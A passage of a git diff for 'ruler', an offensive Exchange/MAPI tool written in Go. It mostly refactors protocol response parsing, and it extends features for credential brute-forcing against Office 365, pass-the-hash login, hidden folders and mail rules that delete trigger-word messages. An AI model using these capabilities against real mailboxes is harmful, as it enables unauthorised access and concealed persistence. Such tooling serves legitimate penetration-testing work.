ExecuteRequest{} execRequest.Init() - fastTransferBuffer := RopFastTransferSourceGetBufferRequest{RopID: 0x4E, LogonID: AuthSession.LogonID, InputHandle: 0x02} + fastTransferBuffer := RopFastTransferSourceGetBufferRequest{RopID: 0x4E, LogonID: AuthSession.LogonID, InputHandleIndex: 0x02} fastTransferBuffer.BufferSize = 0xBABE fastTransferBuffer.MaximumBufferSize = 0xBABE @@ -1907,44 +2021,30 @@ func FastTransferFetchStep(handles []byte) ([]byte, error) { execRequest.RopBuffer.ROP.RopsList = fullReq execRequest.RopBuffer.ROP.ServerObjectHandleTable = append([]byte{0x00, 0x00, 0x00, AuthSession.LogonID}, handles...) //append(handles, []byte{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}...) //[]byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} //append([]byte{0x00, 0x00, 0x00, AuthSession.LogonID}, handles...) - //fetch folder execResponse, err := sendMapiRequest(execRequest) if err != nil { return nil, &TransportError{err} } - if execResponse.StatusCode != 255 { - if execResponse.RopBuffer[2] == 0x05 { //compression - //decompress - } - bufPtr := 10 + pprops := RopFastTransferSourceGetBufferResponse{} + rops := []RopResponse{&pprops} + bufPtr, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) + utils.Trace.Printf("Large transfer in progress. Status: %d ", pprops.TransferStatus) - //fmt.Printf("%x\n", execResponse.RopBuffer[:]) - pprops := RopFastTransferSourceGetBufferResponse{} - p, err := pprops.Unmarshal(execResponse.RopBuffer[bufPtr:]) + if pprops.TransferStatus == 0x0001 { + buff, err := FastTransferFetchStep(execResponse.RopBuffer.Body[bufPtr:]) if err != nil { return nil, err } + if buff != nil { + pprops.TransferBuffer = append(pprops.TransferBuffer, buff...) - utils.Trace.Printf("Large transfer in progress. Status: %d ", pprops.TransferStatus) - - //Rop release if we are done.. otherwise get rest of stream - //fmt.Printf("%x\n", pprops.TransferBuffer) - - if pprops.TransferStatus == 0x0001 { - buff, _ := FastTransferFetchStep(execResponse.RopBuffer[bufPtr+p:]) - //fmt.Println(string(buff), err) - if buff != nil { - pprops.TransferBuffer = append(pprops.TransferBuffer, buff...) - - } } - - return pprops.TransferBuffer, nil } - return nil, ErrUnknown + return pprops.TransferBuffer, e + } //GetContentsTable is the standard request for getting the contents of a table. @@ -1966,15 +2066,15 @@ func GetAssocatedContentsTable(folderid []byte) (*RopGetContentsTableResponse, [ func GetContentsTableRequest(folderid []byte, tableFlags byte) (*RopGetContentsTableResponse, []byte, error) { execRequest := ExecuteRequest{} execRequest.Init() - ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: 0x01} + ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01} fullReq := ropRelease.Marshal() getFolder := RopOpenFolderRequest{RopID: 0x02, LogonID: AuthSession.LogonID} - getFolder.InputHandle = 0x00 - getFolder.OutputHandle = 0x01 + getFolder.InputHandleIndex = 0x00 + getFolder.OutputHandleIndex = 0x01 getFolder.FolderID = folderid getFolder.OpenModeFlags = 0x00 - //fullReq := getFolder.Marshal() + fullReq = append(fullReq, getFolder.Marshal()...) getContents := RopGetContentsTableRequest{RopID: 0x05, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01, OutputHandleIndex: 0x02, TableFlags: tableFlags} @@ -1991,29 +2091,17 @@ func GetContentsTableRequest(folderid []byte, tableFlags byte) (*RopGetContentsT return nil, nil, &TransportError{err} } - if execResponse.StatusCode != 255 { - bufPtr := 10 - var p int - var e error - if bufPtr > len(execResponse.RopBuffer) { - return nil, nil, fmt.Errorf("Empty table") - } - openFolder := RopOpenFolderResponse{} - if p, e = openFolder.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, nil, e - } - bufPtr += p + if len(execResponse.RopBuffer.Body) == 0 { + return nil, nil, fmt.Errorf("Empty table") + } - ropContents := RopGetContentsTableResponse{} - if p, e = ropContents.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, nil, e - } - bufPtr += p + openFolderResponse := RopOpenFolderResponse{} + ropContents := RopGetContentsTableResponse{} + rops := []RopResponse{&openFolderResponse, &ropContents} + bufPtr, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) - return &ropContents, execResponse.RopBuffer[bufPtr:], nil - } + return &ropContents, execResponse.RopBuffer.Body[bufPtr:], e - return nil, nil, ErrUnknown } //GetFolderHierarchy function get's a folder from the folders id @@ -2025,48 +2113,34 @@ func GetFolderHierarchy(folderid []byte) (*RopGetHierarchyTableResponse, []byte, execRequest.MaxRopOut = 262144 getFolder := RopOpenFolderRequest{RopID: 0x02, LogonID: AuthSession.LogonID} - getFolder.InputHandle = 0x00 - getFolder.OutputHandle = 0x01 + getFolder.InputHandleIndex = 0x00 + getFolder.OutputHandleIndex = 0x01 getFolder.FolderID = folderid getFolder.OpenModeFlags = 0x00 fullReq := getFolder.Marshal() //set table flag as 0x04 | 0x40 (Depth and use unicode) - getFolderHierarchy := RopGetHierarchyTableRequest{RopID: 0x04, LogonID: AuthSession.LogonID, InputHandle: 0x01, OutputHandle: 0x02, TableFlags: 0x40} + getFolderHierarchy := RopGetHierarchyTableRequest{RopID: 0x04, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01, OutputHandleIndex: 0x02, TableFlags: 0x40} fullReq = append(fullReq, getFolderHierarchy.Marshal()...) execRequest.RopBuffer.ROP.RopsList = fullReq execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} - //fetch folder execResponse, err := sendMapiRequest(execRequest) if err != nil { return nil, nil, &TransportError{err} } - if execResponse.StatusCode != 255 { - bufPtr := 10 - var p int - var e error + openFolderResponse := RopOpenFolderResponse{} + hierarchyTableResponse := RopGetHierarchyTableResponse{} + rops := []RopResponse{&openFolderResponse, &hierarchyTableResponse} + bufPtr, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) - openFolder := RopOpenFolderResponse{} - if p, e = openFolder.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, nil, e - } - bufPtr += p - - hierarchyTableResponse := RopGetHierarchyTableResponse{} - if p, e = hierarchyTableResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, nil, e - } - - bufPtr += p + 8 //the serverhandle is the 3rd set of 4 bytes - we need this handle to access the hierarchy table + bufPtr += 8 //the serverhandle is the 3rd set of 4 bytes - we need this handle to access the hierarchy table - return &hierarchyTableResponse, execResponse.RopBuffer[bufPtr:], nil + return &hierarchyTableResponse, execResponse.RopBuffer.Body[bufPtr:], e - } - return nil, nil, ErrUnknown } //GetSubFolders returns all the subfolders available in a folder @@ -2080,7 +2154,7 @@ func GetSubFolders(folderid []byte) (*RopQueryRowsResponse, error) { execRequest.Init() setColumns := RopSetColumnsRequest{RopID: 0x12, LogonID: AuthSession.LogonID} - setColumns.InputHandle = 0x01 + setColumns.InputHandleIndex = 0x01 setColumns.PropertyTagCount = 2 setColumns.PropertyTags = make([]PropertyTag, 2) setColumns.PropertyTags[0] = PidTagDisplayName @@ -2088,7 +2162,7 @@ func GetSubFolders(folderid []byte) (*RopQueryRowsResponse, error) { fullReq := setColumns.Marshal() - queryRows := RopQueryRowsRequest{RopID: 0x15, LogonID: AuthSession.LogonID, InputHandle: 0x01, QueryRowsFlags: 0x00, ForwardRead: 0x01, RowCount: uint16(folderHeirarchy.RowCount)} + queryRows := RopQueryRowsRequest{RopID: 0x15, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01, QueryRowsFlags: 0x00, ForwardRead: 0x01, RowCount: uint16(folderHeirarchy.RowCount)} fullReq = append(fullReq, queryRows.Marshal()...) execRequest.RopBuffer.ROP.RopsList = fullReq execRequest.RopBuffer.ROP.ServerObjectHandleTable = append([]byte{0x01, 0x00, 0x00, AuthSession.LogonID}, svrhndl...) @@ -2099,35 +2173,40 @@ func GetSubFolders(folderid []byte) (*RopQueryRowsResponse, error) { return nil, &TransportError{err} } - if execResponse.StatusCode != 255 { - bufPtr := 10 - var p int - var e error - setColumnsResp := RopSetColumnsResponse{} - if p, e = setColumnsResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - bufPtr += p - - rows := RopQueryRowsResponse{} - - if _, e = rows.Unmarshal(execResponse.RopBuffer[bufPtr:], setColumns.PropertyTags); e != nil { - return nil, e - } - return &rows, nil + setColumnsResp := RopSetColumnsResponse{} + rops := []RopResponse{&setColumnsResp} + bufPtr, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) + if e != nil { + return nil, e + } + rows := RopQueryRowsResponse{} + //propRops := []GetProperties{&rows} + //_, e = UnmarshalPropertyRops(execResponse.RopBuffer.Body[bufPtr:], propRops, setColumns.PropertyTags) + if _, e = rows.Unmarshal(execResponse.RopBuffer.Body[bufPtr:], setColumns.PropertyTags); e != nil { + return nil, e } + return &rows, e + +} - return nil, fmt.Errorf("An unexpected error occurred") +//CreateSearchFolder function to create a search folder +func CreateSearchFolder(folderName string) (*RopCreateFolderResponse, error) { + return CreateFolderRequest(folderName, true, 0x02) } -//CreateFolder function to create a folder on the exchange server +//CreateFolder function to create a search folder func CreateFolder(folderName string, hidden bool) (*RopCreateFolderResponse, error) { + return CreateFolderRequest(folderName, hidden, 0x01) +} + +//CreateFolderRequest function to create a folder on the exchange server +func CreateFolderRequest(folderName string, hidden bool, ftype uint8) (*RopCreateFolderResponse, error) { execRequest := ExecuteRequest{} execRequest.Init() execRequest.MaxRopOut = 262144 - createFolder := RopCreateFolderRequest{RopID: 0x1C, LogonID: AuthSession.LogonID, InputHandle: 0x00, OutputHandle: 0x01, Reserved: 0x00} - createFolder.FolderType = 0x01 + createFolder := RopCreateFolderRequest{RopID: 0x1C, LogonID: AuthSession.LogonID, InputHandleIndex: 0x00, OutputHandleIndex: 0x01, Reserved: 0x00} + createFolder.FolderType = ftype createFolder.UseUnicodeStrings = 0x01 createFolder.OpenExisting = 0x00 createFolder.DisplayName = utils.UniString(folderName) @@ -2137,7 +2216,7 @@ func CreateFolder(folderName string, hidden bool) (*RopCreateFolderResponse, err //if we want to create a hidden folder (so it doesn't show up in Outlook) if hidden == true { setProperties := RopSetPropertiesRequest{RopID: 0x0A, LogonID: AuthSession.LogonID} - setProperties.InputHandle = 0x01 + setProperties.InputHandleIndex = 0x01 setProperties.PropertValueCount = 1 propertyTags := make([]TaggedPropertyValue, setProperties.PropertValueCount) @@ -2156,39 +2235,32 @@ func CreateFolder(folderName string, hidden bool) (*RopCreateFolderResponse, err execRequest.RopBuffer.ROP.RopsList = fullReq execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x01, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF} - //fetch folder execResponse, err := sendMapiRequest(execRequest) if err != nil { return nil, ErrTransport //&TransportError{err} } - if execResponse.StatusCode != 255 { - bufPtr := 10 - createFolder := RopCreateFolderResponse{} - if _, e := createFolder.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - if hidden == true { - propResp := RopSetPropertiesResponse{} - if _, e := propResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - } + createFolderResponse := RopCreateFolderResponse{} + rops := []RopResponse{&createFolderResponse} - return &createFolder, nil + if hidden == true { + propResp := RopSetPropertiesResponse{} + rops = append(rops, &propResp) } + _, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) + return &createFolderResponse, e - return nil, ErrUnknown } //GetContents returns the rows of a folder's content table. //This function returns the subject and message id //For custom columns use GetContentsColumns func GetContents(folderid []byte) (*RopQueryRowsResponse, error) { - columns := make([]PropertyTag, 2) + columns := make([]PropertyTag, 3) columns[0] = PidTagSubject columns[1] = PidTagMid + columns[2] = PropertyTag{PtypString8, 0x80C7} return GetTableContents(folderid, false, columns) } @@ -2221,7 +2293,7 @@ func GetTableContents(folderid []byte, assoc bool, columns []PropertyTag) (*RopQ execRequest.Init() setColumns := RopSetColumnsRequest{RopID: 0x12, LogonID: AuthSession.LogonID, SetColumnFlags: 0x00} - setColumns.InputHandle = inputHndl + setColumns.InputHandleIndex = inputHndl setColumns.PropertyTagCount = uint16(len(columns)) setColumns.PropertyTags = make([]PropertyTag, setColumns.PropertyTagCount) for k, v := range columns { @@ -2230,10 +2302,10 @@ func GetTableContents(folderid []byte, assoc bool, columns []PropertyTag) (*RopQ fullReq := setColumns.Marshal() - queryRows := RopQueryRowsRequest{RopID: 0x15, LogonID: AuthSession.LogonID, InputHandle: inputHndl, QueryRowsFlags: 0x00, ForwardRead: 0x01, RowCount: uint16(contentsTable.RowCount)} + queryRows := RopQueryRowsRequest{RopID: 0x15, LogonID: AuthSession.LogonID, InputHandleIndex: inputHndl, QueryRowsFlags: 0x00, ForwardRead: 0x01, RowCount: uint16(contentsTable.RowCount)} fullReq = append(fullReq, queryRows.Marshal()...) - ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: inputHndl} + ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandleIndex: inputHndl} fullReq = append(fullReq, ropRelease.Marshal()...) execRequest.RopBuffer.ROP.RopsList = fullReq @@ -2245,27 +2317,18 @@ func GetTableContents(folderid []byte, assoc bool, columns []PropertyTag) (*RopQ return nil, &TransportError{err} } - if execResponse.StatusCode != 255 { - bufPtr := 10 - var p int - var e error - - setColumnsResp := RopSetColumnsResponse{} - if p, e = setColumnsResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - bufPtr += p - - rows := RopQueryRowsResponse{} - - if _, e = rows.Unmarshal(execResponse.RopBuffer[bufPtr:], setColumns.PropertyTags); e != nil { - return nil, e - } - - return &rows, nil + setColumnsResp := RopSetColumnsResponse{} + rops := []RopResponse{&setColumnsResp} + bufPtr, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) + if e != nil { + return nil, e } + rows := RopQueryRowsResponse{} + propRops := []GetProperties{&rows} + _, e = UnmarshalPropertyRops(execResponse.RopBuffer.Body[bufPtr:], propRops, setColumns.PropertyTags) + + return &rows, e - return nil, ErrUnknown } //DisplayRules function get's a folder from the folders id @@ -2299,12 +2362,12 @@ func FetchRules(columns []PropertyTag) (*RopQueryRowsResponse, error) { getRulesFolder := RopGetRulesTableRequest{RopID: 0x3f, LogonID: AuthSession.LogonID, InputHandleIndex: 0x00, OutputHandleIndex: 0x01, TableFlags: 0x40} //RopSetColumns setColumns := RopSetColumnsRequest{RopID: 0x12, LogonID: AuthSession.LogonID} - setColumns.InputHandle = 0x01 + setColumns.InputHandleIndex = 0x01 setColumns.PropertyTagCount = uint16(len(columns)) setColumns.PropertyTags = columns //RopQueryRows - queryRows := RopQueryRowsRequest{RopID: 0x15, LogonID: AuthSession.LogonID, InputHandle: 0x01, QueryRowsFlags: 0x00, ForwardRead: 0x01, RowCount: 0x32} + queryRows := RopQueryRowsRequest{RopID: 0x15, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01, QueryRowsFlags: 0x00, ForwardRead: 0x01, RowCount: 0x32} getRules := append(getRulesFolder.Marshal(), setColumns.Marshal()...) getRules = append(getRules, queryRows.Marshal()...) @@ -2312,41 +2375,28 @@ func FetchRules(columns []PropertyTag) (*RopQueryRowsResponse, error) { execRequest.RopBuffer.ROP.RopsList = getRules execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x01, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF} - //fetch folder execResponse, err := sendMapiRequest(execRequest) if err != nil { return nil, &TransportError{err} } - if execResponse.StatusCode != 255 { - bufPtr := 10 - rulesTableResponse := RopGetRulesTableResponse{} - p, err := rulesTableResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]) - bufPtr += p - - if err != nil { - return nil, err - } - cols := RopSetColumnsResponse{} - p, err = cols.Unmarshal(execResponse.RopBuffer[bufPtr:]) - bufPtr += p - - if err != nil { - return nil, err - } - - rows := RopQueryRowsResponse{} - - _, err = rows.Unmarshal(execResponse.RopBuffer[bufPtr:], columns) - if err != nil { - return nil, err - } - - return &rows, nil + rulesTableResponse := RopGetRulesTableResponse{} + colsResponse := RopSetColumnsResponse{} + rops := []RopResponse{&rulesTableResponse, &colsResponse} + bufPtr, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) + if e != nil { + return nil, e + } + rows := RopQueryRowsResponse{} + //TODO + _, e = rows.Unmarshal(execResponse.RopBuffer.Body[bufPtr:], columns) + if e != nil { + return nil, e } - return nil, ErrUnknown + return &rows, e + } //ExecuteDeleteRuleAdd adds a new mailrule for deleting a message @@ -2400,10 +2450,8 @@ func ExecuteDeleteRuleAdd(rulename, triggerword string) (*ExecuteResponse, error if err != nil { return nil, &TransportError{err} } - //utils.Trace.Println(execResponse) - return nil, err - //return nil, ErrUnknown + return nil, err } //ExecuteMailRuleAdd adds a new mailrules @@ -2462,15 +2510,12 @@ func ExecuteMailRuleAdd(rulename, triggerword, triggerlocation string, delete bo } return execResponse, nil - - //return nil, ErrUnknown } //ExecuteMailRuleDelete function to delete mailrules func ExecuteMailRuleDelete(ruleid []byte) error { execRequest := ExecuteRequest{} execRequest.Init() - execRequest.MaxRopOut = 262144 delRule := RopModifyRulesRequest{RopID: 0x41, LoginID: AuthSession.LogonID, InputHandleIndex: 0x00, ModifyRulesFlag: 0x00, RulesCount: 0x01, RuleData: RuleData{}} delRule.RuleData.RuleDataFlags = 0x04 @@ -2488,11 +2533,11 @@ func ExecuteMailRuleDelete(ruleid []byte) error { return &TransportError{err} } - if execResponse.StatusCode != 255 { - return nil - } - return ErrUnknown - + //process the exec response + delRuleResponse := RopModifyRulesResponse{} + rops := []RopResponse{&delRuleResponse} + _, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) + return e } //Ping send a PING message to the server @@ -2507,29 +2552,6 @@ func Ping() { } } -//DecodeGetTableResponse function Unmarshals the various parts of a getproperties response (this includes the initial openfolder request) -//and returns the RopGetPropertiesSpecificResponse object to us, we can then cycle through the rows to view the values -//needs the list of columns that were supplied in the initial request. -func DecodeGetTableResponse(resp []byte, columns []PropertyTag) (*RopGetPropertiesSpecificResponse, error) { - pos := 10 - - var err error - - openFolderResp := RopOpenFolderResponse{} - pos, err = openFolderResp.Unmarshal(resp[pos:]) - if err != nil { - return nil, err - } - properties := RopGetPropertiesSpecificResponse{} - _, err = properties.Unmarshal(resp[pos:], columns) - - if err != nil { - return nil, err - } - - return &properties, nil -} - //DecodeBufferToRows returns the property rows contained in the buffer, takes a list //of propertytags. These are needed to figure out how to split the columns in the rows func DecodeBufferToRows(buff []byte, cols []PropertyTag) []PropertyRow { diff --git a/mapi/restrictionDatastructs.go b/mapi/restrictionDatastructs.go new file mode 100644 index 0000000..7fe5f84 --- /dev/null +++ b/mapi/restrictionDatastructs.go @@ -0,0 +1,114 @@ +package mapi + +import "github.com/sensepost/ruler/utils" + +//Contains the datastructs used to form restrictions + +//match types for fuzzy low +const ( + FLFULLSTRING = 0x0000 //field and the value of the column property tag match one another in their entirety + FLSUBSTRING = 0x0001 //field matches some portion of the value of the column tag + FLPREFIX = 0x0002 //field matches a starting portion of the value of the column tag +) + +//match types for fuzzy high +const ( + FLIGNORECASE = 0x0001 //The comparison does not consider case + FLIGNOREONSPACE = 0x0002 //The comparison ignores Unicode-defined nonspacing characters such as diacritical marks + FLLOOSE = 0x0004 //The comparison results in a match whenever possible, ignoring case and nonspacing characters +) + +//search flags +const ( + STOPSEARCH = 0x00000001 + RESTARTSEARCH = 0x00000002 + RECURSIVESEARCH = 0x00000004 + SHALLOWSEARCH = 0x00000008 + CONTENTINDEXEDSEARCH = 0x00010000 + NONCONTENTINDEXEDSEARCH = 0x00020000 + STATICSEARCH = 0x00040000 +) + +//search return flags +const ( + SEARCHRUNNING = 0x00000001 + SEARCHREBUILD = 0x00000002 + SEARCHRECURSIVE = 0x00000004 + SEARCHCOMPLETE = 0x00001000 + SEARCHPARTIAL = 0x00002000 + SEARCHSTATIC = 0x00010000 + SEARCHMAYBESTATIC = 0x00020000 + CITOTALLY = 0x01000000 + TWIRTOTALLY = 0x08000000 +) + +//Restriction interface to generalise restrictions +type Restriction interface { + Marshal() []byte +} + +//ContentRestriction describes a content restriction, +//which is used to limit a table view to only those rows that include a column +//with contents matching a search string. +type ContentRestriction struct { + RestrictType uint8 //0x03 + FuzzyLevelLow uint16 //type of match + FuzzyLevelHigh uint16 + PropertyTag PropertyTag //indicates the propertytag value field + PropertyValue TaggedPropertyValue +} + +//AndRestriction structure describes a combination of nested conditions that need to be +//AND'ed with each other +type AndRestriction struct { + RestrictType uint8 //0x00 + RestrictCount uint16 + Restricts []Restriction +} + +//OrRestriction structure describes a combination of nested conditions that need to be +//OR'ed with each other +type OrRestriction struct { + RestrictType uint8 //0x01 + RestrictCount uint16 + Restricts []Restriction +} + +//NotRestriction is used to apply a logical NOT operation to a single restriction +type NotRestriction struct { + RestrictType uint8 //0x02 + Restriction Restriction +} + +//PropertyRestriction is used to apply a logical NOT operation to a single restriction +type PropertyRestriction struct { + RestrictType uint8 //0x04 + RelOp uint8 + PropTag PropertyTag + TaggedValue TaggedPropertyValue +} + +//Marshal turn ContentRestriction into Bytes +func (restriction ContentRestriction) Marshal() []byte { + return utils.BodyToBytes(restriction) +} + +//Marshal turn AndResetriction into Bytes +func (restriction AndRestriction) Marshal() []byte { + return utils.BodyToBytes(restriction) +} + +//Marshal turn OrResetriction into Bytes +func (restriction OrRestriction) Marshal() []byte { + return utils.BodyToBytes(restriction) +} + +//Marshal turn NotRestriction into Bytes +func (restriction NotRestriction) Marshal() []byte { + return utils.BodyToBytes(restriction) +} + +//Marshal turn PropertyRestriction into Bytes +func (restriction PropertyRestriction) Marshal() []byte { + return utils.BodyToBytes(restriction) +} diff --git a/mapi/ropbuffers.go b/mapi/ropbuffers.go new file mode 100644 index 0000000..db5d687 --- /dev/null +++ b/mapi/ropbuffers.go @@ -0,0 +1,35 @@ +package mapi + +//UnmarshalRops is a wrapper function to keep track of unmarshaling logic and location in our buffer +//takes an array of the expected responses and unmarshals into each one. Returning the first error that occurs, +//or nil if no error +func UnmarshalRops(resp []byte, rops []RopResponse) (bufPtr int, err error) { + p := 0 + + for i := range rops { + p, err = rops[i].Unmarshal(resp[bufPtr:]) + if err != nil { + return -1, err + } + bufPtr += p + } + + return +} + +//UnmarshalPropertyRops is a wrapper function to keep track of unmarshaling logic and location in our buffer +//takes an array of the expected responses and the columns these have, and unmarshals into each one. Returning the first error that occurs, +//or nil if no error +func UnmarshalPropertyRops(resp []byte, rops []GetProperties, columns []PropertyTag) (bufPtr int, err error) { + p := 0 + + for i := range rops { + p, err = rops[i].Unmarshal(resp[bufPtr:], columns) + if err != nil { + return -1, err + } + bufPtr += p + } + + return +} diff --git a/mapi/ropids.go b/mapi/ropids.go new file mode 100644 index 0000000..70e75ff --- /dev/null +++ b/mapi/ropids.go @@ -0,0 +1,14 @@ +package mapi + +type ropid uint8 + +const ( + RopReserved ropid = 0x00 + RopRelease ropid = 0x01 + RopOpenFolder + RopOpenMessage + RopGetHierarchyTable + RopGetContentsTable + RopCreateMessage + RopGetPropertiesSpecific +) diff --git a/rpc-http/rpctransport.go b/rpc-http/rpctransport.go index 6552042..afeaad5 100644 --- a/rpc-http/rpctransport.go +++ b/rpc-http/rpctransport.go @@ -239,7 +239,23 @@ func RPCOpenOut(URL string, readySignal chan<- bool, errOccurred chan<- error) ( r.Unmarshal(b) r.Body = b mutex.Lock() //lets be safe, lock the responses array before adding a new value to it - responses = append(responses, r) + + //if the PFCFlag is set to 0 or 2, this packet is fragment of the previous packet + //take the PDU of this packet and append it to our previous packet + if r.Header.PFCFlags == uint8(2) || r.Header.PFCFlags == uint8(0) { + for k, v := range responses { + if v.Header.CallID == r.Header.CallID { + responses[k].PDU = append(v.PDU, r.PDU...) + if r.Header.PFCFlags == uint8(2) { + responses[k].Header.PFCFlags = 3 + } + break + } + } + } else { + responses = append(responses, r) + } + mutex.Unlock() } } @@ -450,7 +466,7 @@ func RPCWriteN(MAPI []byte, auxlen uint32, opnum byte) { req := RTSRequest{} req.Header = header - req.MaxRecv = 0x0000 + req.MaxRecv = 0x1000 req.Command = []byte{0x00, 0x00, opnum, 0x00} //command 10 pdu := PDUData{} @@ -461,7 +477,7 @@ func RPCWriteN(MAPI []byte, auxlen uint32, opnum byte) { pdu.Data = MAPI pdu.CbAuxIn = uint32(auxlen) - pdu.AuxOut = 0x000001008 + pdu.AuxOut = 0x000001000 req.PduData = pdu.Marshal() //MAPI req.MaxFrag = uint16(len(pdu.Marshal()) + 24) @@ -540,7 +556,8 @@ func RPCRead(callID int) (RPCResponse, error) { stop := false for stop != true { for k, v := range responses { - if v.Header.CallID == uint32(callID) { + //if the PFCFlags is set to 1, this is a fragmented packet. wait to update it first + if v.Header.CallID == uint32(callID) && v.Header.PFCFlags != 1 { responses = append(responses[:k], responses[k+1:]...) stop = true c <- v diff --git a/ruler.go b/ruler.go index 6192354..5f7d9f2 100644 --- a/ruler.go +++ b/ruler.go @@ -41,47 +41,94 @@ func exit(err error) { //function to perform an autodiscover func discover(c *cli.Context) error { - - if c.GlobalString("domain") == "" { + if c.GlobalString("domain") == "" { return fmt.Errorf("Required param --domain is missing") } - //setup our autodiscover service - config.Domain = c.GlobalString("domain") - config.User = "nosuchuser" - config.Email = "nosuchemail" - config.Basic = c.GlobalBool("basic") - config.Insecure = c.GlobalBool("insecure") - config.Verbose = c.GlobalBool("verbose") - config.Admin = c.GlobalBool("admin") - config.RPCEncrypt = !c.GlobalBool("noencrypt") - config.CookieJar, _ = cookiejar.New(nil) - config.Proxy = c.GlobalString("proxy") + if c.Bool("dump") == true && (c.GlobalString("username") == "" && c.GlobalString("email") == "") { + return fmt.Errorf("--dump requires credentials to be set") + } + + if c.Bool("dump") == true && c.String("out") == "" { + return fmt.Errorf("--dump requires an out file to be set with --out /path/to/file.txt") + } + + var err error + if c.Bool("dump") == true && c.GlobalString("password") == "" && c.GlobalString("hash") == "" { + fmt.Printf("Password: ") + var pass []byte + pass, err = gopass.GetPasswd() + if err != nil { + // Handle gopass.ErrInterrupted or getch() read error + return fmt.Errorf("Password or hash required. Supply NTLM hash with --hash") + } + config.Pass = string(pass) + } else { + config.Pass = c.GlobalString("password") + if config.NTHash, err = hex.DecodeString(c.GlobalString("hash")); err != nil { + return fmt.Errorf("Invalid hash provided. Hex decode failed") + } + } + //setup our autodiscover service + config.Domain = c.GlobalString("domain") + if c.GlobalString("username") == "" { + config.User = "nosuchuser" + } else { + config.User = c.GlobalString("username") + } + if c.GlobalString("email") == "" { + config.Email = "nosuchemail" + } else { + config.Email = c.GlobalString("email") + } + config.Basic = c.GlobalBool("basic") + config.Insecure = c.GlobalBool("insecure") + config.Verbose = c.GlobalBool("verbose") + config.Admin = c.GlobalBool("admin") + config.RPCEncrypt = !c.GlobalBool("noencrypt") + config.CookieJar, _ = cookiejar.New(nil) + config.Proxy = c.GlobalString("proxy") + url := c.GlobalString("url") + + if url == "" { + url = config.Domain + } autodiscover.SessionConfig = &config - _, domain, err := autodiscover.Autodiscover(config.Domain) - - if domain == "" && err != nil { - return err - } - - utils.Info.Printf("Looks like the autodiscover service is at: %s \n",domain) - utils.Info.Println("Checking if domain is hosted on Office 365") - //smart check to see if domain is on office365 - //A request to https://login.microsoftonline.com//.well-known/openid-configuration - //response with 400 for none-hosted domains - //response with 200 for office365 domains - - - resp, _ := http.Get(fmt.Sprintf("https://login.microsoftonline.com/%s/.well-known/openid-configuration",config.Domain)) - if resp.StatusCode == 400 { - utils.Info.Println("Domain is not hosted on Office 365") - } else if resp.StatusCode == 200 { - utils.Info.Println("Domain is hosted on Office 365") - } else { - utils.Error.Println("Received an unexpected response") - utils.Debug.Println(resp.StatusCode) - } + + _, domain, err := autodiscover.Autodiscover(url) + + if domain == "" && err != nil { + return err + } + + if c.Bool("dump") == true { + path := c.String("out") + utils.Info.Printf("Looks like the autodiscover service was found, Writing to: %s \n", path) + fout, _ := os.OpenFile(path, os.O_CREATE|os.O_WRONLY, 0666) + _, err := fout.WriteString(domain) + if err != nil { + return fmt.Errorf("Couldn't write to file for some reason... %s", err) + } + } else { + utils.Info.Printf("Looks like the autodiscover service is at: %s \n", domain) + utils.Info.Println("Checking if domain is hosted on Office 365") + //smart check to see if domain is on office365 + //A request to https://login.microsoftonline.com//.well-known/openid-configuration + //response with 400 for none-hosted domains + //response with 200 for office365 domains + + resp, _ := http.Get(fmt.Sprintf("https://login.microsoftonline.com/%s/.well-known/openid-configuration", config.Domain)) + if resp.StatusCode == 400 { + utils.Info.Println("Domain is not hosted on Office 365") + } else if resp.StatusCode == 200 { + utils.Info.Println("Domain is hosted on Office 365") + } else { + utils.Error.Println("Received an unexpected response") + utils.Debug.Println(resp.StatusCode) + } + } + return nil } @@ -94,25 +141,26 @@ func brute(c *cli.Context) error { return fmt.Errorf("Either --passwords or --userpass required") } - if c.GlobalString("domain") == "" && c.GlobalString("url") == "" { + if c.GlobalString("domain") == "" && c.GlobalString("url") == "" && c.GlobalBool("o365") == false { return fmt.Errorf("Either --domain or --url required") } utils.Info.Println("Starting bruteforce") - userpass := c.String("userpass") + domain := c.GlobalString("domain") + if c.GlobalString("url") != "" { + domain = c.GlobalString("url") + } + if c.GlobalBool("o365") == true { + domain = "https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml" + } + if e := 